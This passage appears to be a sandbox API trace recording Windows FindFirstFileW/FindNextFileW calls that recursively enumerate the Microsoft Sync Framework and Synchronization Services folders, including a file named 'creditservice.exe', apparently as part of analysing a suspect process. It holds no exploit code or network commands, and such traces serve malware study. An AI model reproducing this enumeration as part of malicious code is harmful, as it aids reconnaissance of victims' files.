ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.668] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 1 [0029.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba40 [0029.668] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.668] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 1 [0029.668] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 0 [0029.668] FindClose (in: hFindFile=0x70ba40 | out: hFindFile=0x70ba40) returned 1 [0029.668] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 0 [0029.668] FindClose (in: hFindFile=0x70ba00 | out: hFindFile=0x70ba00) returned 1 [0029.668] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0029.668] FindClose (in: hFindFile=0x70b5a8 | out: hFindFile=0x70b5a8) returned 1 [0029.668] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0029.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b5a8 [0029.669] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.669] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0029.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba00 [0029.671] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.671] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1 [0029.671] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c136700, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c136700, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x33760, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0029.671] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0029.672] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba40 [0029.672] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0029.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70d7b0 [0029.673] FindNextFileW (in: hFindFile=0x70d7b0, lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70d7b0, lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70d7b0, lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 0 [0029.673] FindClose (in: hFindFile=0x70d7b0 | out: hFindFile=0x70d7b0) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0029.673] FindClose (in: hFindFile=0x70ba40 | out: hFindFile=0x70ba40) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 0 [0029.673] FindClose (in: hFindFile=0x70ba00 | out: hFindFile=0x70ba00) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0029.673] FindClose (in: hFindFile=0x70b5a8 | out: hFindFile=0x70b5a8) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0029.674] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.674] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0029.674] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.674] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa06c4b50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06c4b50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1 [0029.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa06c4b50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06c4b50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.674] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa06c4b50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06c4b50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.674] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1 [0029.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.674] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.674] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0029.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b5a8 [0029.677] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.677] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0029.677] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.Server.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0029.677] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0029.677] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0029.677] FindClose (in: hFindFile=0x70b5a8 | out: hFindFile=0x70b5a8) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0029.678] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a162e0, ftCreationTime.dwHighDateTime=0x1d5af10, ftLastAccessTime.dwLowDateTime=0x7f0eda80, ftLastAccessTime.dwHighDateTime=0x1d542a3, ftLastWriteTime.dwLowDateTime=0x7f0eda80, ftLastWriteTime.dwHighDateTime=0x1d542a3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="creditservice.exe", cAlternateFileName="CREDIT~1.EXE")) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b447c20, ftCreationTime.dwHighDateTime=0x1d58e65, 